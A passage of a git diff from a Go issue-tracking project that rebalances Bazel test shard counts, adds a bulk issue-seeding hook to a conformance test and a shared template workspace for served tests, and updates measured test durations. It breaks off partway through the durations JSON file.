TestEmbeddedOpenForReadOnlyCommand_LenientGate +20 19 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest +20 19 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +20 19 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet +20 19 TestEmbeddedSyncCommitsConfigBeforeMerge +20 19 TestGetIssue +20 19 TestGetReadyWorkMoleculeFilter +20 19 TestLargeBatchApplyStatementCounts712_Embedded +20 19 TestReopenIssue +20 19 TestWithPeerAuth_DivergedRemoteURLFailsClosed +20 19 TestWithPeerAuth_KeyMismatchFailsClosed + +20 20 TestCounterContract +20 20 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow +20 20 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped +20 20 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion +20 20 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults +20 20 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix +20 20 TestEmbeddedMergeAndSettleFKCascadeRepair +20 20 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 +20 20 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke +20 20 TestEmbeddedOpenForRemoteSync_DataBehind +20 20 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations +20 20 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay +20 20 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits +20 20 TestEmbeddedRemoteMigrateGate_BlocksReopen +20 20 TestEventsAutoPruneThrottleSkipsTheSecondPass +20 20 TestIgnoredCursorHealIsIdempotent +20 20 TestLargeBatchApplyStatementCountsClassic40_Embedded +20 20 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict +20 20 TestMergeWithStrategy_OursKeepsLocal +20 20 TestPruneEventsBatchDeletesTheLowestSeqsOnly diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5ca224450..eb761aa7f 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1283,8 +1283,8 @@ jobs: name: embedded Dolt tier # Remote execution only: skipped unless the rbe job chose remote, # fork-ro or fork-rw (enabled; not in modes cache, local or skip). - # Locally the tier is 67 race test - # processes (50 cmd/bd shards + 15 embeddeddolt storage shards + 2 + # Locally the tier is 72 race test + # processes (50 cmd/bd shards + 20 embeddeddolt storage shards + 2 # conformance partitions; ~24k test-seconds measured locally -- see # scripts/ci/embedded_cmd_test_durations.json and # scripts/ci/embedded_storage_test_durations.json -- up from an earlier, @@ -1293,26 +1293,21 @@ jobs: # proves nothing pr-risk.yml's embedded jobs (which do run for forks) do # not. # - # Shard counts: storage (15) is sized the way both tiers were originally - # meant to be -- the smallest count whose LPT-packed heaviest shard - # (scripts/ci/gen_embedded_storage_shard_manifest.py --weights=duration - # --repack) lands at or below the tier's own heaviest single top-level - # test (211-225s). cmd cannot reach that floor: Bazel hard-caps - # shard_count at 50 per sh_test-like rule ("Having more than 50 shards is - # indicative of poor test organization. Please reduce the number of - # shards." -- a native analysis-time error, not a style lint), and at 50 - # shards the cmd suite's LPT-packed heaviest shard is ~409.6s -- above - # its own single heaviest test's 239.7s, because the suite's total - # duration (~20145 test-seconds across 242 tests) is too large to flatten - # to the single-test floor within 50 bins. Clearing more shards would - # need either further per-test speedups spread across the suite or + # Shard counts: storage (20) is the smallest count whose LPT-packed + # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py + # --weights=duration --repack, on rbe-west measurements) stays near 110s, + # under the ~150s per-shard budget with headroom for executor load; its + # heaviest single top-level test is ~90s. cmd (50) sits at Bazel's hard + # cap per sh_test-like rule ("Having more than 50 shards is indicative of + # poor test organization. Please reduce the number of shards." -- a + # native analysis-time error, not a style lint); on rbe-west its shards + # ran 83-209s (6.5k shard-seconds, 2026-10-09), so it, not storage or + # //internal/httpclient:httpclient_served_test, is this lane's floor. + # Lowering it needs per-test speedups spread across the suite or # splitting bd_embedded_test into multiple <=50-shard sh_test rules with # shard-index-offset plumbing through tools/bazel/go_test_manifest_shard.sh - # and check_shard_coverage.py; neither is done here, so this lane's floor - # is cmd's ~409.6s, not the ~240s a 5-minute lane (including this job's - # ~60s fixed cost) would need -- tracked as a follow-up, not silently - # hidden in the shard count. On RBE this makes the tier's wall time ~= - # that floor + fixed cost (checkout, build, shard dispatch), not ~= + # and check_shard_coverage.py. On RBE the tier's wall time ~= that floor + # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every # other shard, farm capacity permitting. @@ -1399,7 +1394,7 @@ jobs: python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50 - --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 15 + --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/backend/conformance/batch_getter_contract.go b/backend/conformance/batch_getter_contract.go index 6cfdd6590..f64dabde6 100644 --- a/backend/conformance/batch_getter_contract.go +++ b/backend/conformance/batch_getter_contract.go @@ -36,6 +36,13 @@ type BatchGetterFixture struct { BatchGetter publicops.BatchGetter // CreateIssue seeds a durable issue in the issues plane. CreateIssue func(context.Context, *types.Issue, string) error + // CreateIssues seeds many durable issues in one call. Optional: only + // RunBatchGetterAcceptsExactlyTheCap uses it, to seed its MaxGetManyIDs + // issues in one write instead of MaxGetManyIDs single-row commits (about + // 200s of the embedded suites' race runs); nil falls back to CreateIssue + // per row. The seeded rows are the same either way, and the case asserts + // only on the GetMany read. + CreateIssues func(context.Context, []*types.Issue, string) error // CreateWisp seeds an ephemeral issue in the wisps plane. It is a separate // field rather than an Ephemeral flag on CreateIssue because the three // adapters reach the two planes through different verbs. @@ -205,7 +212,7 @@ func RunBatchGetterAcceptsExactlyTheCap(t *testing.T, ctx context.Context, fixtu for i := range ids { ids[i] = fmt.Sprintf("%s-atcap-%d", fixture.IssuePrefix, i) } - seedBatchGetterIssues(t, ctx, fixture, ids...) + seedBatchGetterIssuesInBulk(t, ctx, fixture, ids...) result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: ids}) if len(result.Issues) != publicops.MaxGetManyIDs { @@ -363,6 +370,23 @@ func seedBatchGetterIssues(t *testing.T, ctx context.Context, fixture BatchGette } } +// seedBatchGetterIssuesInBulk seeds the same rows as seedBatchGetterIssues, +// through the fixture's CreateIssues hook when it has one. +func seedBatchGetterIssuesInBulk(t *testing.T, ctx context.Context, fixture BatchGetterFixture, ids ...string) { + t.Helper() + if fixture.CreateIssues == nil { + seedBatchGetterIssues(t, ctx, fixture, ids...) + return + } + issues := make([]*types.Issue, len(ids)) + for i, id := range ids { + issues[i] = batchGetterSeed(id, false) + } + if err := fixture.CreateIssues(ctx, issues, "batch-getter-seed"); err != nil { + t.Fatalf("seed %d issues: %v", len(issues), err) + } +} + func seedBatchGetterWisp(t *testing.T, ctx context.Context, fixture BatchGetterFixture, id string) { t.Helper() if err := fixture.CreateWisp(ctx, batchGetterSeed(id, true), "batch-getter-seed"); err != nil { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index a9f34e510..15ba5624c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1039,7 +1039,7 @@ Required` requires them to have run remotely and passed. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (15; + F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and @@ -1071,7 +1071,7 @@ Required` requires them to have run remotely and passed. Its Tier 3, the served HTTP corpus (`./internal/httpclient` with `BEADS_TEST_EMBEDDED_DOLT=1` and `BEADS_HTTP_TEST_REQUIRED=1`), runs in the embedded lane as `//internal/httpclient:httpclient_served_test` - (race build, 24 shards). + (race build, 16 shards). `docs-mintlify.yml` likewise drops its docsync job (`go test ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) and keeps only Mintlify's network-bound broken-link check. diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index beffe7048..8e8bc8be3 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -79,11 +79,12 @@ go_library( go_test( name = "httpclient_test", - # Unsharded, this package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no - # BEADS_TEST_EMBEDDED_DOLT): mostly wall-clock wait on the CA tests' dialer/keep-alive - # timeouts, not CPU. The go_test default size (medium, 300s timeout) leaves no margin - # and times out intermittently; size=large/timeout=long follows the same convention as - # //internal/storage/embeddeddolt's go_test. + # Unsharded, this package took 137-228s on rbe-west under --config=ci + # (BEADS_TEST_SKIP=dolt, no BEADS_TEST_EMBEDDED_DOLT; 2026-10-09), the test lane's + # longest single action. Two shards (rules_go deals tests out round-robin) put + # ~68s of measured test time on each; the three heaviest tests (31s, 20s, 13s) + # land on different shards. size=large/timeout=long follows the same convention + # as //internal/storage/embeddeddolt's go_test. size = "large", timeout = "long", srcs = [ @@ -171,6 +172,7 @@ go_test( # `make bazel-sync` (the directive just says so). data = glob(["*.go"]), embed = [":httpclient"], + shard_count = 2, deps = [ "//backend/conformance", "//internal/eventsjournal", @@ -203,12 +205,14 @@ go_test( # fails each served case rather than skipping it. It is the script's run on # the lane's race build (raceEnabled shrinks its one large apply). # -# Shard count: on the lane's executors (2026-10-08) the package is 702 tests -# and ~3,700 test-seconds, the heaviest, TestServedBatchGetterContract, at -# 170-230s. rules_go deals the tests out round-robin, so the shard that draws -# it runs it plus about a 24th of the rest: 283s measured, ~370s at the slow -# end. Both are under the ~410s cmd/bd shard that sets the lane's floor (see -# bazel.yml's bazel-embedded), so this target does not lengthen the lane. +# Shard count: on the lane's executors (rbe-west, 2026-10-09) the package is +# 725 tests and ~1,300 test-seconds, the heaviest about 54s. Each served case +# copies one per-process template workspace instead of initializing its own +# embedded Dolt schema (served_harness_test.go's servedTemplateWorkspace), +# and TestServedBatchGetterContract seeds its 1000 issues in one write: before +# both, the package was ~3,700 test-seconds over 24 shards, the heaviest shard +# 390s. rules_go deals the tests out round-robin; at 16 shards the measured +# loads come to 62-112s per shard. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -233,7 +237,7 @@ sh_test( "BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1", }, - shard_count = 24, + shard_count = 16, tags = ["embedded"], ) diff --git a/internal/httpclient/served_batch_getter_test.go b/internal/httpclient/served_batch_getter_test.go index 746167eb0..18813fc01 100644 --- a/internal/httpclient/served_batch_getter_test.go +++ b/internal/httpclient/served_batch_getter_test.go @@ -35,6 +35,7 @@ func TestServedBatchGetterContract(t *testing.T) { IssuePrefix: "bge", BatchGetter: getter, CreateIssue: e.createIssue, + CreateIssues: e.reference.CreateIssues, CreateWisp: e.createWisp, CountHistory: e.countHistory, } diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go index 3b11d9749..917335a2a 100644 --- a/internal/httpclient/served_harness_test.go +++ b/internal/httpclient/served_harness_test.go @@ -7,10 +7,12 @@ package httpclient import ( "context" + "fmt" "io" "net/url" "os" "path/filepath" + "sync" "testing" "time" @@ -44,7 +46,10 @@ import ( // per case costs about a second; sharing one across cases would make an id // collision between two contracts a debugging session instead of a rename, and // the contracts namespace their ids by prefix precisely so they can be run this -// way. +// way. Each case's engine is a private copy of one freshly initialized +// workspace (servedTemplateWorkspace), not a fresh init of its own: creating +// the schema is most of a case's cost under -race, and it is the same schema +// every time. // servedEnv is one client-server-store triple and the hooks a fixture needs. type servedEnv struct { @@ -120,7 +125,14 @@ func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(* t.Helper() skipUnlessEmbeddedDolt(t) + template, err := servedTemplateWorkspace() + if err != nil { + t.Fatalf("initialize the reference workspace template: %v", err) + } beadsDir := t.TempDir() + if err := os.CopyFS(beadsDir, os.DirFS(template)); err != nil { + t.Fatalf("copy the reference workspace template: %v", err) + } ctx := t.Context() reference, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") if err != nil { @@ -176,6 +188,39 @@ func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(* } } +var ( + servedTemplateOnce sync.Once + servedTemplateDir string + servedTemplateErr error +) + +// servedTemplateWorkspace initializes one reference workspace per test process +// (embeddeddolt.Open on an empty directory: the schema and every migration) and +// closes it, so each newServedEnv can copy the closed workspace and reopen it +// instead of initializing its own. TestMain removes it after the last case. +func servedTemplateWorkspace() (string, error) { + servedTemplateOnce.Do(func() { + dir, err := os.MkdirTemp("", "httpclient-served-template-") + if err != nil { + servedTemplateErr = err + return + } + store, err := embeddeddolt.Open(context.Background(), dir, servedDatabase, "main") + if err != nil { + _ = os.RemoveAll(dir) + servedTemplateErr = fmt.Errorf("open %s: %w", dir, err) + return + } + if err := store.Close(); err != nil { + _ = os.RemoveAll(dir) + servedTemplateErr = fmt.Errorf("close %s: %w", dir, err) + return + } + servedTemplateDir = dir + }) + return servedTemplateDir, servedTemplateErr +} + // serveConfig binds every served role to the reference store. // // Every one of them is taken through the store's own capability accessor rather diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go index 5bc182b82..5037cb1f7 100644 --- a/internal/httpclient/served_test.go +++ b/internal/httpclient/served_test.go @@ -73,6 +73,9 @@ func TestMain(m *testing.M) { if compositionStop != nil { compositionStop() } + if servedTemplateDir != "" { + _ = os.RemoveAll(servedTemplateDir) + } os.Exit(code) } diff --git a/internal/storage/dolt/batch_getter_contract_test.go b/internal/storage/dolt/batch_getter_contract_test.go index 9fc0ff654..9fe6fb8f6 100644 --- a/internal/storage/dolt/batch_getter_contract_test.go +++ b/internal/storage/dolt/batch_getter_contract_test.go @@ -5,6 +5,8 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" ) // TestBatchGetterContract runs the BatchGetter contract against the @@ -77,10 +79,17 @@ func newDoltBatchGetterFixture(t *testing.T, prefix string) (conformance.BatchGe t.Fatalf("BatchGetter(): %v", err) } kit := newDoltRoleFixtureKit(store, prefix) + // The shared test store's configured prefix is not the fixture's, and the + // batch path validates prefixes where the per-row CreateIssue every other + // seed uses does not; skip it so both paths seed the same rows. + createIssues := func(ctx context.Context, issues []*types.Issue, actor string) error { + return store.CreateIssuesWithFullOptions(ctx, issues, actor, storage.BatchCreateOptions{SkipPrefixValidation: true}) + } fixture := conformance.BatchGetterFixture{ IssuePrefix: kit.IssuePrefix, BatchGetter: getter, CreateIssue: kit.CreateIssue, + CreateIssues: createIssues, CreateWisp: kit.CreateWisp, CountHistory: kit.CountHistory, } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index e4e9258db..64e516d60 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -94,7 +94,11 @@ go_library( go_test( name = "embeddeddolt_test", # -race -short runs ~6 min unsharded (pr-core gives go test -timeout=30m). - # Bazel shards by test count, not duration. + # Bazel shards by test count, not duration: rules_go deals tests out + # round-robin. At 8 shards one shard drew TestWithPeerAuth, + # TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword and + # TestPushCommitsPendingChangesFirst (100-153s on rbe-west); 9 spreads + # them (measured costs put the heaviest shard at ~87s). size = "large", timeout = "long", srcs = [ @@ -230,7 +234,7 @@ go_test( "workspace_config_contract_test.go", ], embed = [":embeddeddolt"], - shard_count = 8, + shard_count = 9, deps = [ "//:beads", "//backend/conformance", @@ -265,10 +269,10 @@ go_test( ], ) -# Runs 15 Bazel shards against every top-level Test* function in +# Runs 20 Bazel shards against every top-level Test* function in # internal/storage/embeddeddolt/*_test.go but TestConformance, assigned by -# the manifest's 15-shard block (duration-balanced; see -# scripts/ci/embedded_storage_test_durations.json), with +# the manifest's 20-shard block (duration-balanced on rbe-west measurements; +# see scripts/ci/embedded_storage_test_durations.json), with # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test # re-executes. This is a *different* shard count from PR Risk's legacy @@ -304,7 +308,7 @@ sh_test( "//:.github/scripts/embedded-storage-test-shards.txt", ], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, - shard_count = 15, + shard_count = 20, tags = ["embedded"], ) diff --git a/internal/storage/embeddeddolt/batch_getter_contract_test.go b/internal/storage/embeddeddolt/batch_getter_contract_test.go index 2da37613d..3bf28b2b4 100644 --- a/internal/storage/embeddeddolt/batch_getter_contract_test.go +++ b/internal/storage/embeddeddolt/batch_getter_contract_test.go @@ -76,6 +76,7 @@ func newEmbeddedBatchGetterFixture(t *testing.T, te *testEnv, prefix string) con IssuePrefix: kit.IssuePrefix, BatchGetter: getter, CreateIssue: kit.CreateIssue, + CreateIssues: te.store.CreateIssues, CreateWisp: kit.CreateWisp, CountHistory: kit.CountHistory, } diff --git a/scripts/ci/embedded_storage_test_durations.json b/scripts/ci/embedded_storage_test_durations.json index 92c4c4ede..7e3ae6350 100644 --- a/scripts/ci/embedded_storage_test_durations.json +++ b/scripts/ci/embedded_storage_test_durations.json @@ -1,17 +1,21 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=embedded", - "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", - "--local_test_jobs=8` alongside the cmd-tier and conformance targets (all", - "four run in the same invocation, the same way bazel.yml's bazel-embedded", - "tier runs its shards concurrently on one host) -- race,", - "`-test.parallel=4`, tag filter `embedded`, run with the real committed", - "14-shard manifest (.github/scripts/embedded-storage-test-shards.txt) so", - "every one of the 387 top-level Test* functions (excluding TestConformance,", - "sharded separately, and TestMain, which is not dispatched through", - "-test.run and carries no measurable duration of its own) that existed at", - "capture time ran exactly once (local sandboxed execution only; no remote", - "executor or cache flags were configured for this measurement run).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test --config=embedded --nocache_test_results", + "//internal/storage/embeddeddolt:embeddeddolt_embedded_test` runs (race,", + "`-test.parallel=4`), one with the then-committed 15-shard manifest and one", + "with an 18-shard repack, so every one of the 395 top-level Test* functions", + "(excluding TestConformance, sharded separately, and TestMain) ran exactly", + "once per run. Each value is the mean of the two runs; the second ran under", + "heavier executor load and came out ~25% slower across the board, which is", + "the spread to expect between CI runs. Both runs were taken after", + "RunBatchGetterAcceptsExactlyTheCap started seeding its 1000 issues in one", + "CreateIssues call (TestBatchGetterContract: 198.87s -> ~7s on the same", + "executors). The previous capture was local sandboxed execution, and it", + "predated TestBatchGetterContract, so the packer weighted that test at its", + "t.Run fallback (~54s) and stacked a ~200s test onto an already full shard", + "(shard 9 of 15: 352s in CI). Remote shard wall time tracked the packed", + "cost to within 2% in both runs (correlation 0.999+).", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing , for the same", @@ -76,394 +80,402 @@ "changes all mean a shard's total packed cost is a planning estimate, not", "a guarantee." ], - "seconds_per_init_fallback": 3.8877, + "seconds_per_init_fallback": 2.416, "tests": { "TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase": 0.0, "TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase": 0.0, - "TestAddDependency": 33.47, - "TestAddLabel": 1.12, - "TestBatchApplyContract": 151.73, - "TestBatchCreatorContract": 11.81, - "TestBlockingAnnotatorContract": 17.98, - "TestBootstrapperContract": 3.79, + "TestAddDependency": 24.83, + "TestAddLabel": 0.61, + "TestBatchApplyContract": 62.95, + "TestBatchCreatorContract": 17.7, + "TestBatchGetterContract": 6.37, + "TestBlockingAnnotatorContract": 10.55, + "TestBootstrapperContract": 2.03, "TestBuildDSN_NoDatabase": 0.0, "TestBuildDSN_SpacesInPath": 0.0, "TestBuildDSN_WithDatabase": 0.0, "TestCleanGitRemoteCacheGarbage": 0.0, "TestCleanGitRemoteCacheGarbage_NoCacheDir": 0.0, "TestCleanGitRemoteCacheGarbage_Throttled": 0.0, - "TestCommenterContract": 25.32, - "TestCommitAllOutOfBandChangeAndHonestNoOp": 1.1, - "TestConcurrencyMultiProcess": 6.48, - "TestConcurrentOpenReturnsCached": 18.03, - "TestCounterContract": 10.53, - "TestCountsIncludeWispDependencies": 1.73, - "TestCountsWithMissingWispPlaneTables": 3.29, - "TestCreateIssue": 35.89, - "TestCreateIssues": 19.14, - "TestCreateIssuesRejectStaleUpserts": 9.47, - "TestCreateRejectsCrossTableIDCollision": 2.63, + "TestCommenterContract": 4.51, + "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.58, + "TestConcurrencyMultiProcess": 4.32, + "TestConcurrentOpenReturnsCached": 11.14, + "TestCounterContract": 21.42, + "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.8, + "TestCountsIncludeWispDependencies": 1.12, + "TestCountsWithMissingWispPlaneTables": 1.93, + "TestCreateBatchFastPathsMatchPerRowLarge_Embedded": 0.0, + "TestCreateBatchFastPathsMatchPerRow_Embedded": 89.57, + "TestCreateIssue": 21.51, + "TestCreateIssues": 16.54, + "TestCreateIssuesRejectStaleUpserts": 3.85, + "TestCreateRejectsCrossTableIDCollision": 1.54, "TestCrossRecordInvariantContract": 0.0, - "TestCycleDetectorContract": 14.23, - "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 18.0, - "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 17.16, - "TestDeleterContract": 61.52, + "TestCycleDetectorContract": 7.24, + "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 10.81, + "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.12, + "TestDeleterContract": 42.31, "TestDepRekeyMarkerStillInIgnoredSeries": 0.0, - "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 4.78, + "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 1.83, "TestDoltCommitResponseLossIsIndeterminate": 0.0, - "TestDualWriteContract": 2.41, - "TestDualWriteContractFlagOff": 0.74, - "TestDualWriteFixtureKitIsWired": 1.06, - "TestEdgeReaderContract": 10.02, - "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 1.9, - "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 19.12, - "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 20.46, - "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 19.63, - "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 2.3, - "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.79, - "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 1.36, - "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 22.31, - "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 19.41, - "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 1.64, - "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 20.52, - "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 4.15, - "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.81, - "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 21.59, - "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 22.63, - "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 22.49, - "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 1.99, - "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 18.68, - "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 9.26, - "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.89, - "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.79, - "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 20.58, - "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 21.27, - "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 22.27, - "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 22.28, - "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 1.35, - "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.81, - "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 1.13, - "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 2.21, - "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 1.6, - "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 1.43, - "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.7, - "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 1.43, - "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 1.02, - "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 1.07, - "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.81, - "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 2.5, - "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 18.89, - "TestEmbeddedCommitToleratesNothingToCommit": 1.12, - "TestEmbeddedConfigCommitStagesConfig": 0.55, - "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 14.53, - "TestEmbeddedDepRekeyConvergesRenameChain": 14.34, - "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 29.13, - "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 15.17, - "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 14.62, - "TestEmbeddedDependencyEditorAcceptsADiamond": 3.43, - "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 1.1, - "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.53, - "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.93, - "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 3.07, - "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 3.21, - "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 2.1, - "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.3, - "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 2.62, - "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 5.12, - "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 2.82, - "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 6.74, - "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.92, - "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.75, - "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 1.62, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.83, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 3.76, - "TestEmbeddedDependencyEditorRefusalWritesNothing": 2.44, - "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 9.58, - "TestEmbeddedDependencyEditorRefusesAGhostSource": 1.87, - "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.41, - "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 3.51, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.37, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 2.44, - "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 1.64, - "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 1.18, - "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 3.62, - "TestEmbeddedDependencyEditorRemoveIsIdempotent": 3.04, - "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 6.72, - "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.88, - "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 2.47, - "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 1.63, - "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 1.47, - "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 2.85, - "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 2.06, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 2.15, - 